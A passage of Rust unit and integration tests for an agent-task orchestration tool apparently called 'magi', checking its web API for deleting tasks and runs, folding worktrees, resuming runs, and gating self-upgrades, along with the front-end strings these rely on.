6161        t1.runs.push(run_id.to_owned());
6162        write_run(&fx.runs(), run_id, RunStatus::Merged);
6163        q.put(&mut t1).expect("put t1");
6164
6165        // Delete by short id
6166        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
6167        assert_eq!(res.status, 204);
6168        assert!(res.body.is_empty(), "204 No Content has no body");
6169        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
6170        assert!(
6171            fx.runs().join(run_id).exists(),
6172            "run directory must not be deleted when its task is deleted"
6173        );
6174
6175        // 2. A task a live daemon is running is refused with 409.
6176        let mut t2 = Task::new(
6177            "Task 2".to_owned(),
6178            "Instruction 2".to_owned(),
6179            PathBuf::from("/repo"),
6180            Source::Human,
6181        );
6182        t2.status = TaskStatus::Running;
6183        q.put(&mut t2).expect("put t2");
6184        let mut beat = crate::daemon::Status::new();
6185        beat.current = vec![crate::daemon::Current {
6186            task: t2.id.clone(),
6187            run: "20260901-000000-r222".to_owned(),
6188        }];
6189        beat.updated_at = jiff::Timestamp::now();
6190        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6191            .expect("publish a heartbeat");
6192        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
6193        assert_eq!(res.status, 409);
6194        assert!(
6195            res.json()["error"]
6196                .as_str()
6197                .unwrap()
6198                .contains("live daemon")
6199        );
6200        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
6201
6202        // 3. The same `running` status and an orphaned lock, with no daemon
6203        // behind either, is a leftover and deletable. Before this the phone
6204        // refused it for good: the status never changes on its own and
6205        // nothing drops a lock whose process is gone.
6206        // The daemon is killed: the file stays, the heartbeat stops.
6207        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
6208        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6209            .expect("leave a stale heartbeat");
6210        let mut t3 = Task::new(
6211            "Task 3".to_owned(),
6212            "Instruction 3".to_owned(),
6213            PathBuf::from("/repo"),
6214            Source::Human,
6215        );
6216        t3.status = TaskStatus::Running;
6217        q.put(&mut t3).expect("put t3");
6218        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
6219        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
6220        assert_eq!(res.status, 204);
6221        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
6222        assert!(
6223            q.claim(&t3.id).is_ok(),
6224            "the stale lock went with it, so the id is claimable again"
6225        );
6226
6227        // 4. Missing id returns 404
6228        let res = fx.delete("/api/queue/nonexistent").await;
6229        assert_eq!(res.status, 404);
6230    }
6231
6232    #[tokio::test]
6233    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
6234        let fx = Fixture::start().await;
6235        let runs = fx.runs();
6236
6237        // 1. Finished and folded run can be deleted along with artifacts
6238        let run_id = "20260901-000000-fold";
6239        let mut state = RunState::new(
6240            PathBuf::from("/repo"),
6241            "main".to_owned(),
6242            "abc".to_owned(),
6243            "instruction".to_owned(),
6244            Config::default(),
6245        );
6246        state.id = run_id.to_owned();
6247        state.status = RunStatus::Merged;
6248        state.candidates.push(crate::run::Candidate {
6249            index: 0,
6250            label: 'A',
6251            agent: "a".to_owned(),
6252            branch: "b".to_owned(),
6253            worktree: PathBuf::from("/w"),
6254            summary: String::new(),
6255            stat: String::new(),
6256            files: 1,
6257            commits: 1,
6258            empty: false,
6259            failed: None,
6260            duration_ms: 0,
6261            folded: true,
6262        });
6263        let dir = runs.join(run_id);
6264        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
6265        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
6266            .expect("write artifact");
6267        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
6268            .expect("write run.json");
6269
6270        // Delete by short id
6271        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
6272        assert_eq!(res.status, 204);
6273        assert!(res.body.is_empty(), "204 has no body");
6274        assert!(!dir.exists(), "run directory and artifacts must be deleted");
6275
6276        // 2. A run a live daemon is working on is refused with 409. The
6277        // heartbeat is what makes it refusable: an unfinished run with no
6278        // daemon behind it is a leftover from a killed process, and case 1
6279        // above would otherwise be impossible to tell apart from this one.
6280        let run_running = "20260901-000000-rung";
6281        write_run(&runs, run_running, RunStatus::Prep);
6282        let mut beat = crate::daemon::Status::new();
6283        beat.current = vec![crate::daemon::Current {
6284            task: "20260901-000000-task".to_owned(),
6285            run: run_running.to_owned(),
6286        }];
6287        beat.updated_at = jiff::Timestamp::now();
6288        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6289            .expect("publish a heartbeat");
6290        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
6291        assert_eq!(res.status, 409);
6292        assert!(
6293            res.json()["error"]
6294                .as_str()
6295                .unwrap()
6296                .contains("live daemon"),
6297            "the refusal must say who is holding it"
6298        );
6299        assert!(
6300            runs.join(run_running).exists(),
6301            "a run in flight keeps its directory"
6302        );
6303
6304        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
6305        let run_unfolded = "20260901-000000-unfd";
6306        let mut state2 = RunState::new(
6307            PathBuf::from("/repo"),
6308            "main".to_owned(),
6309            "abc".to_owned(),
6310            "instruction".to_owned(),
6311            Config::default(),
6312        );
6313        state2.id = run_unfolded.to_owned();
6314        state2.status = RunStatus::Ready;
6315        state2.candidates.push(crate::run::Candidate {
6316            index: 0,
6317            label: 'A',
6318            agent: "a".to_owned(),
6319            branch: "b".to_owned(),
6320            worktree: PathBuf::from("/w"),
6321            summary: String::new(),
6322            stat: String::new(),
6323            files: 1,
6324            commits: 1,
6325            empty: false,
6326            failed: None,
6327            duration_ms: 0,
6328            folded: false,
6329        });
6330        let dir2 = runs.join(run_unfolded);
6331        std::fs::create_dir_all(&dir2).expect("create dir2");
6332        std::fs::write(
6333            dir2.join("run.json"),
6334            serde_json::to_string(&state2).unwrap(),
6335        )
6336        .expect("write run.json");
6337
6338        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
6339        assert_eq!(res.status, 409);
6340        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
6341        assert!(dir2.exists(), "unfolded run directory is kept");
6342
6343        // 4. Missing id returns 404
6344        let res = fx.delete("/api/runs/nonexistent").await;
6345        assert_eq!(res.status, 404);
6346    }
6347
6348    #[test]
6349    fn web_ui_delete_contract_in_front_end() {
6350        // 1. API block has both delete endpoints
6351        assert!(APP_JS.contains("deleteRun:"));
6352        assert!(APP_JS.contains("deleteTask:"));
6353
6354        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
6355        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
6356            ..APP_JS.find("function renderRuns").unwrap()];
6357        assert!(!run_cards_slice.to_lowercase().contains("delete"));
6358
6359        // 3. Run detail has delete entry and reasons
6360        assert!(APP_JS.contains("renderRunDelete"));
6361        assert!(APP_JS.contains("runDeleteReason"));
6362        assert!(APP_JS.contains("magi fold"));
6363        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
6364
6365        // 4. Two-step delete arming and focus on Cancel
6366        assert!(APP_JS.contains("cancel.focus"));
6367        assert!(APP_JS.contains("armedRunDelete"));
6368        assert!(APP_JS.contains("armedDelete"));
6369
6370        // 5. Running task has disabled delete
6371        assert!(APP_JS.contains("disabled: status === \"running\""));
6372    }
6373
6374    /// Every element a run card's updater reaches for must be in the `refs`
6375    /// the builder handed it.
6376    ///
6377    /// `createRunCard` builds its elements, appends them to the card, and then
6378    /// lists them again in `row.refs`. That second list is the one the updater
6379    /// uses, and nothing connects the two - an element can be built, appended
6380    /// and rendered, and still be missing from `refs`. `superseded` was, for
6381    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
6382    /// exception took `syncList` with it, and the deck showed
6383    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
6384    /// line is computed before the cards, which is why the failure looked like
6385    /// a server that had lost its runs rather than a front end that had
6386    /// stopped rendering them.
6387    ///
6388    /// A `cargo test` cannot execute the front end, so this reads the two
6389    /// halves out of the source and compares them as sets. It is not a check
6390    /// on the wording of either list: adding an element, renaming one, or
6391    /// reordering them all keeps this passing, and only using one the builder
6392    /// never published fails it.
6393    #[test]
6394    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
6395        let build = APP_JS
6396            .find("function createRunCard")
6397            .expect("createRunCard exists");
6398        let update = APP_JS
6399            .find("function updateRunCard")
6400            .expect("updateRunCard exists");
6401        let end = APP_JS
6402            .find("function renderRuns")
6403            .expect("renderRuns exists");
6404
6405        // The builder's published set: the object literal assigned to `refs`.
6406        let builder = &APP_JS[build..update];
6407        let open = builder.find("refs = {").expect("createRunCard sets refs");
6408        let literal = &builder[open + "refs = {".len()..];
6409        let close = literal.find('}').expect("the refs literal is closed");
6410        let published: HashSet<&str> = literal[..close]
6411            .split(',')
6412            // `name` and `name: value` both bind `name`.
6413            .filter_map(|entry| entry.split(':').next())
6414            .map(str::trim)
6415            .filter(|name| !name.is_empty())
6416            .collect();
6417        assert!(
6418            published.len() > 5,
6419            "the refs literal did not parse into names: {published:?}"
6420        );
6421
6422        // What the updaters reach for: every `r.<name>`, where `r` is the
6423        // `const r = row.refs` alias both functions open with.
6424        let mut used: Vec<&str> = Vec::new();
6425        let updaters = &APP_JS[update..end];
6426        for (at, _) in updaters.match_indices("r.") {
6427            // `r` must be the whole identifier, not the tail of another one
6428            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
6429            let before = updaters[..at].chars().next_back();
6430            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
6431                continue;
6432            }
6433            let rest = &updaters[at + 2..];
6434            let len = rest
6435                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
6436                .unwrap_or(rest.len());
6437            if len > 0 {
6438                used.push(&rest[..len]);
6439            }
6440        }
6441        assert!(
6442            used.len() > 5,
6443            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
6444        );
6445
6446        let missing: Vec<&str> = used
6447            .iter()
6448            .copied()
6449            .filter(|name| !published.contains(name))
6450            .collect();
6451        assert!(
6452            missing.is_empty(),
6453            "a run card's updater reaches for {missing:?}, which `createRunCard` \
6454             never put in `refs` - every card will throw and the list will \
6455             render empty under a count line that says otherwise. Published: \
6456             {published:?}"
6457        );
6458    }
6459
6460    #[tokio::test]
6461    async fn folding_from_the_phone_reports_what_it_removed() {
6462        let fx = Fixture::start().await;
6463        let runs = fx.runs();
6464
6465        // A run with no candidates has nothing to fold, which is a 200 with an
6466        // honest count rather than an error: the operator asked for the trees
6467        // to be gone and they are.
6468        let id = "20260901-000000-fold";
6469        write_run(&runs, id, RunStatus::Stalled);
6470        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
6471        assert_eq!(res.status, 200);
6472        assert_eq!(res.json()["removed_count"], 0);
6473        assert_eq!(res.json()["run"], id);
6474        assert!(
6475            runs.join(id).exists(),
6476            "a fold keeps the run's record; only the worktrees go"
6477        );
6478    }
6479
6480    #[tokio::test]
6481    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
6482        let fx = Fixture::start().await;
6483        let runs = fx.runs();
6484        let wt = fx.home.path().join("wt").join("magi").join("dead");
6485        let id = "20260901-000000-dead";
6486        std::fs::create_dir_all(runs.join(id)).expect("run dir");
6487        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
6488        std::fs::create_dir_all(&wt).expect("worktree dir");
6489
6490        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
6491        assert_eq!(res.status, 200, "{}", res.body);
6492        assert!(
6493            res.json()["removed_count"].as_u64().unwrap() > 0,
6494            "the worktree this build could not read a state for still went"
6495        );
6496        assert!(
6497            !runs.join(id).exists(),
6498            "an unreadable run has no candidate list to fold selectively, so \
6499             the whole record goes - same as `magi fold` on the CLI"
6500        );
6501    }
6502
6503    #[tokio::test]
6504    async fn deleting_an_unreadable_run_removes_it_wholesale() {
6505        let fx = Fixture::start().await;
6506        let runs = fx.runs();
6507        let wt = fx.home.path().join("wt").join("magi").join("gone");
6508        let id = "20260901-000000-gone";
6509        std::fs::create_dir_all(runs.join(id)).expect("run dir");
6510        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
6511        std::fs::create_dir_all(&wt).expect("worktree dir");
6512
6513        let res = fx.delete(&format!("/api/runs/{id}")).await;
6514        assert_eq!(res.status, 204, "{}", res.body);
6515        assert!(!runs.join(id).exists(), "the broken record is gone");
6516        assert!(!wt.exists(), "its worktree is gone too");
6517    }
6518
6519    #[tokio::test]
6520    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
6521        let fx = Fixture::start().await;
6522        let runs = fx.runs();
6523        let id = "20260901-000000-live";
6524        write_run(&runs, id, RunStatus::Implementing);
6525
6526        let mut beat = crate::daemon::Status::new();
6527        beat.current = vec![crate::daemon::Current {
6528            task: "20260901-000000-task".to_owned(),
6529            run: id.to_owned(),
6530        }];
6531        beat.updated_at = jiff::Timestamp::now();
6532        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6533            .expect("publish a heartbeat");
6534
6535        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
6536        assert_eq!(res.status, 409);
6537        assert!(
6538            res.json()["error"]
6539                .as_str()
6540                .unwrap()
6541                .contains("live daemon"),
6542            "folding under a running agent would pull its worktree away"
6543        );
6544    }
6545
6546    #[tokio::test]
6547    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
6548        let fx = Fixture::start().await;
6549        let runs = fx.runs();
6550
6551        // Only a finished run and a failed one. An *interrupted* run - a
6552        // parked one, or one whose daemon was killed mid-node - is the case
6553        // resuming exists for: run 4043 sat at `reviewing` with the deck
6554        // saying it could not be resumed, which was the one state where
6555        // resuming was the only sensible answer.
6556        for (status, word) in [
6557            (RunStatus::Merged, "merged"),
6558            (RunStatus::Ready, "ready"),
6559            (RunStatus::Failed, "failed"),
6560        ] {
6561            let id = format!("20260901-000000-{}", &word[..4]);
6562            write_run(&runs, &id, status);
6563            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
6564            assert_eq!(res.status, 409, "{word} must not be resumable");
6565            let err = res.json()["error"].as_str().unwrap().to_owned();
6566            assert!(err.contains(word), "the refusal names the status: {err}");
6567        }
6568
6569        // And an interrupted run is accepted: 202, with the resume running in
6570        // the background. `Runner::resume` fails immediately here - the
6571        // fixture's run points at a repository that does not exist - which is
6572        // the point: the handler must not wait for it to find out.
6573        let mid = "20260901-000000-midf";
6574        write_run(&runs, mid, RunStatus::Reviewing);
6575        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
6576        assert_eq!(res.status, 202, "an interrupted run is resumable");
6577    }
6578
6579    #[tokio::test]
6580    async fn resume_is_refused_while_the_loop_is_running() {
6581        let fx = Fixture::start().await;
6582        let runs = fx.runs();
6583        let stalled = "20260901-000000-stal";
6584        write_run(&runs, stalled, RunStatus::Stalled);
6585
6586        // The loop is busy with a *different* run, and that is still a
6587        // refusal: a manual resume must never race whatever the loop itself
6588        // is already driving, whether that is one run or several.
6589        let mut beat = crate::daemon::Status::new();
6590        beat.current = vec![crate::daemon::Current {
6591            task: "20260901-000000-task".to_owned(),
6592            run: "20260901-000000-othr".to_owned(),
6593        }];
6594        beat.updated_at = jiff::Timestamp::now();
6595        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6596            .expect("publish a heartbeat");
6597
6598        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
6599        assert_eq!(res.status, 409);
6600        let err = res.json()["error"].as_str().unwrap().to_owned();
6601        assert!(err.contains("othr"), "it names what the loop is on: {err}");
6602        assert!(err.contains("stop it first"), "{err}");
6603    }
6604
6605    #[test]
6606    fn a_run_cannot_be_resumed_twice_at_once() {
6607        let home = TempDir::new().expect("temp home");
6608        let ui = Ui::new(
6609            Queue::at(home.path().join("queue")),
6610            Questions::at(home.path().join("questions")),
6611            Talks::at(home.path().join("talks")),
6612            home.path().join("runs"),
6613            home.path().to_path_buf(),
6614            PathBuf::from("/repo"),
6615        )
6616        .with_worktrees_root(home.path().join("wt"));
6617        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
6618        let again = ui.begin_resume("20260901-000000-once");
6619        assert!(again.is_err(), "a second tap must not start a second graph");
6620        drop(first);
6621        assert!(
6622            ui.begin_resume("20260901-000000-once").is_ok(),
6623            "and the claim is released when the attempt ends"
6624        );
6625    }
6626
6627    #[tokio::test]
6628    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
6629        let fx = Fixture::start().await;
6630        // Somebody else's `magi serve` owns the queue. Replacing this binary
6631        // would leave that process running an old one against the same
6632        // claims, which is worse than refusing.
6633        let mut beat = crate::daemon::Status::new();
6634        beat.pid = 4321;
6635        beat.updated_at = jiff::Timestamp::now();
6636        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
6637            .expect("publish a heartbeat");
6638
6639        let res = fx.post("/api/upgrade", None).await;
6640        assert_eq!(res.status, 409);
6641        let err = res.json()["error"].as_str().unwrap().to_owned();
6642        assert!(err.contains("4321"), "the refusal names the owner: {err}");
6643        assert!(err.contains("old one against the same queue"), "{err}");
6644    }
6645
6646    /// [`should_spawn_recheck`] must refuse for the same two reasons
6647    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
6648    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
6649    /// Purely a predicate over config and the environment - no network, no
6650    /// disk, no runtime - so unlike the fixture-based tests around it this
6651    /// one needs neither.
6652    #[test]
6653    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
6654        assert!(!should_spawn_recheck(&crate::config::Update {
6655            mode: UpdateMode::Off,
6656            interval: None,
6657        }));
6658
6659        // SAFETY: single-threaded as far as this variable goes, the same
6660        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
6661        unsafe {
6662            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
6663        }
6664        let killed = should_spawn_recheck(&crate::config::Update {
6665            mode: UpdateMode::Notify,
6666            interval: None,
6667        });
6668        unsafe {
6669            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
6670        }
6671        assert!(
6672            !killed,
6673            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
6674             one-time startup check"
6675        );
6676
6677        assert!(should_spawn_recheck(&crate::config::Update {
6678            mode: UpdateMode::Notify,
6679            interval: None,
6680        }));
6681    }
6682
6683    /// [`recheck_poll_period`] must track a configured `[update] interval`
6684    /// shorter than its own default ceiling - a fixed sleep here would leave
6685    /// an operator's short interval waiting on the next wake-up instead of on
6686    /// `should_check`, which is the same bug this whole task exists to fix,
6687    /// just one level down.
6688    #[test]
6689    fn recheck_poll_period_tracks_a_short_configured_interval() {
6690        let short = crate::config::Update {
6691            mode: UpdateMode::Notify,
6692            interval: Some("1m".to_owned()),
6693        };
6694        let period = recheck_poll_period(&short);
6695        assert!(
6696            period <= Duration::from_secs(30),
6697            "a one-minute interval must wake the task far sooner than the \
6698             default ceiling, or the deck would not notice within the \
6699             interval the operator configured: got {period:?}"
6700        );
6701
6702        let default = crate::config::Update {
6703            mode: UpdateMode::Notify,
6704            interval: None,
6705        };
6706        assert_eq!(
6707            recheck_poll_period(&default),
6708            UPDATE_RECHECK_POLL_MAX,
6709            "the default day-long interval should poll at the (capped) \
6710             ceiling rather than needlessly often"
6711        );
6712    }
6713
6714    /// [`update_recheck_due`] must not repeat a check made moments ago, the
6715    /// same throttle `updater::Checker::should_check` already gives the
6716    /// CLI's notify mode. Built over an explicit state file via
6717    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
6718    /// write the operator's real `last_update_check.json` - and therefore
6719    /// cannot flake on whatever that file happens to say on the machine
6720    /// running the test.
6721    #[test]
6722    fn recheck_skips_the_network_before_the_interval_elapses() {
6723        let dir = TempDir::new().expect("temp dir");
6724        let path = dir.path().join("state.json");
6725        let state = kaishin::UpdateCheckState {
6726            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
6727            last_known_latest: None,
6728            last_known_url: None,
6729        };
6730        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
6731
6732        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
6733        assert!(
6734            !update_recheck_due(&checker, None),
6735            "a check made moments ago must not be repeated before the \
6736             configured interval elapses"
6737        );
6738    }
6739
6740    /// An upgrade this deck already started must not be raced by a recheck
6741    /// that discovers a newer release mid-install - regardless of what
6742    /// `should_check` says, which is why the state file here is missing
6743    /// entirely: read alone, that alone would answer "never checked, go
6744    /// ahead".
6745    #[test]
6746    fn recheck_defers_to_an_upgrade_already_in_flight() {
6747        let dir = TempDir::new().expect("temp dir");
6748        let path = dir.path().join("state.json");
6749        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
6750        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
6751
6752        assert!(
6753            !update_recheck_due(&checker, Some(&progress)),
6754            "a recheck must not run while an upgrade this deck started is \
6755             still moving"
6756        );
6757    }
6758
6759    #[tokio::test]
6760    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
6761        // The same env var the background check honours (`disabled_by_env`)
6762        // must also stop a button press before it ever calls
6763        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
6764        // means "never contact GitHub from this process", and a tap on the
6765        // upgrade button must not override that any more than a broken
6766        // `magi.toml` may. Left unset, this fixture's default config would
6767        // otherwise reach a real, unauthenticated GitHub call.
6768        //
6769        // SAFETY: single-threaded as far as this variable goes - nothing else
6770        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
6771        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
6772        unsafe {
6773            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
6774        }
6775        let fx = Fixture::start().await;
6776        let res = fx.post("/api/upgrade", None).await;
6777        unsafe {
6778            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
6779        }
6780        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
6781        let body = res.json();
6782        assert!(body["to"].is_null(), "there was no release to move to");
6783        assert!(body["parked"].is_null(), "and nothing was parked");
6784        assert!(
6785            body["detail"]
6786                .as_str()
6787                .unwrap()
6788                .contains("disabled by MAGI_NO_AUTOUPDATE"),
6789            "{body:?}"
6790        );
6791    }
6792
6793    #[tokio::test]
6794    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
6795        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
6796        // and the route answers from its own logic.
6797        //
6798        // This test used to lean on the fixture's placeholder repo failing
6799        // config discovery, which left `mode = "notify"` - and a live,
6800        // unauthenticated call to the GitHub releases API inside a unit test.
6801        // GitHub allows 60 of those an hour per address, so the suite went red
6802        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
6803        // long as somebody kept re-running it: every attempt spent another
6804        // request. Six reruns across four pull requests were charged to that
6805        // before it was read as a rate limit rather than a flake.
6806        //
6807        // What the assertion is about is the "already current" branch, which
6808        // is reached by there being no newer release *or* nowhere to look. The
6809        // second one needs no network and cannot be rate limited.
6810        let repo = TempDir::new().expect("repo dir");
6811        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
6812            .expect("write magi.toml");
6813        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
6814
6815        // It must answer 200 and leave the process alone: restarting for an
6816        // upgrade that did not happen parks the run in flight and drops every
6817        // connection to pay for nothing. A probe against a deck already on the
6818        // newest build did exactly that, which is how this case got its own
6819        // branch.
6820        let res = fx.post("/api/upgrade", None).await;
6821        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
6822        let body = res.json();
6823        assert!(body["to"].is_null(), "there was no release to move to");
6824        assert!(body["parked"].is_null(), "and nothing was parked");
6825        assert!(
6826            body["detail"]
6827                .as_str()
6828                .unwrap()
6829                .contains("nothing restarted"),
6830            "{body:?}"
6831        );
6832    }
6833
6834    #[tokio::test]
6835    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
6836        // `mode = "off"` for the same reason as the test above: a default
6837        // fixture repo falls back to `mode = "notify"`, which would make this
6838        // route's new `update` field a live, unauthenticated GitHub call on
6839        // every assertion in this suite that happens to hit `/api/health`.
6840        let repo = TempDir::new().expect("repo dir");
6841        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
6842            .expect("write magi.toml");
6843        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
6844
6845        let health = fx.get("/api/health").await.json();
6846        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
6847        assert_eq!(
6848            health["update"]["available"], false,
6849            "checking is off, which reads as \"unknown\", not \"none\""
6850        );
6851        assert!(health["update"]["to"].is_null());
6852        assert!(
6853            health["upgrade"].is_null(),
6854            "nothing has ever asked this deck to upgrade"
6855        );
6856    }
6857
6858    #[tokio::test]
6859    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
6860        let fx = Fixture::start().await;
6861        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
6862
6863        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
6864        progress.parked_run = Some("20260905-000000-cd51".to_owned());
6865        progress.advance(crate::updater::Stage::Parking);
6866        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
6867
6868        let health = fx.get("/api/health").await.json();
6869        assert_eq!(health["upgrade"]["stage"], "parking");
6870        assert_eq!(health["upgrade"]["from"], "0.5.1");
6871        assert_eq!(health["upgrade"]["to"], "0.5.2");
6872        let waiting_on = health["upgrade"]["waiting_on"]
6873            .as_str()
6874            .expect("waiting_on is set while parking a known run");
6875        assert!(waiting_on.contains("cd51"), "{waiting_on}");
6876        assert!(waiting_on.contains("implementing"), "{waiting_on}");
6877    }
6878
6879    #[tokio::test]
6880    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
6881        let fx = Fixture::start().await;
6882        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
6883        progress.advance(crate::updater::Stage::Done);
6884        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
6885
6886        let health = fx.get("/api/health").await.json();
6887        assert_eq!(health["upgrade"]["stage"], "done");
6888        assert!(
6889            health["upgrade"]["waiting_on"].is_null(),
6890            "nothing to wait on once it is done"
6891        );
6892    }
6893
6894    #[tokio::test]
6895    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
6896        let home = TempDir::new().expect("temp home");
6897        let runs = home.path().join("runs");
6898        std::fs::create_dir_all(&runs).expect("runs dir");
6899        let ui = Ui::new(
6900            Queue::at(home.path().join("queue")),
6901            Questions::at(home.path().join("questions")),
6902            Talks::at(home.path().join("talks")),
6903            runs,
6904            home.path().to_path_buf(),
6905            PathBuf::from("/repo/magi"),
6906        )
6907        .with_launch(launch_idle);
6908        let looping = ui.looping();
6909        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6910            .await
6911            .expect("bind loopback");
6912        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
6913
6914        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
6915        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
6916
6917        hand_over(home.path(), &looping, served, || Ok(()))
6918            .await
6919            .expect("hand over");
6920
6921        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
6922        assert_eq!(
6923            after.stage,
6924            crate::updater::Stage::Restarting,
6925            "hand_over owns the record through parking and up to restarting; \
6926             the successor is what finishes it"
6927        );
6928    }
6929
6930    #[test]
6931    fn the_upgrade_button_arms_before_it_restarts_anything() {
6932        // It ends the process the operator is talking to, and a phone in a
6933        // pocket taps things. One tap arms, the second commits.
6934        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
6935        assert!(APP_JS.contains("Replace the binary and restart?"));
6936        assert!(APP_JS.contains("function confirmed("));
6937        // Hidden when the loop is somebody else's, matching the 409 above -
6938        // and hidden with nothing to install, matching the 200 "already
6939        // current" branch: an operator on the newest build must not be
6940        // offered a restart that would only park a run for nothing.
6941        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
6942        // A park waits for the node in flight, up to an hour for an implement
6943        // wave. Leaving the button reading "Upgrading…" for that long is the
6944        // same mistake as an error rendered off screen: it looks wedged.
6945        assert!(
6946            APP_JS.contains("Parking, then restarting"),
6947            "the button says what it is waiting for"
6948        );
6949        // And nothing to install must give the button back rather than
6950        // pretending a restart is coming.
6951        assert!(APP_JS.contains("if (!out.to)"));
6952    }
6953
6954    #[test]
6955    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
6956        assert!(
6957            APP_JS.contains("state.health.version"),
6958            "the operator wants to know what is running even with nothing newer"
6959        );
6960        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
6961    }
6962
6963    #[test]
6964    fn the_upgrade_button_names_its_destination() {
6965        assert!(
6966            APP_JS.contains("`Update to ${update.to}`"),
6967            "pressing the button should not be a surprise about what it moves to"
6968        );
6969    }
6970
6971    #[test]
6972    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
6973        for stage in ["downloading", "replaced", "parking", "restarting"] {
6974            assert!(
6975                APP_JS.contains(&format!("\"{stage}\"")),
6976                "the phone must be able to tell {stage} apart from the others"
6977            );
6978        }
6979        assert!(APP_JS.contains(".waiting_on"));
6980        // What replaced the bare "Cannot reach magi: Failed to fetch": a
6981        // fetch failing while an upgrade is in flight is not an error, it is
6982        // the sub-second gap `bind_waiting` covers, and it must not be
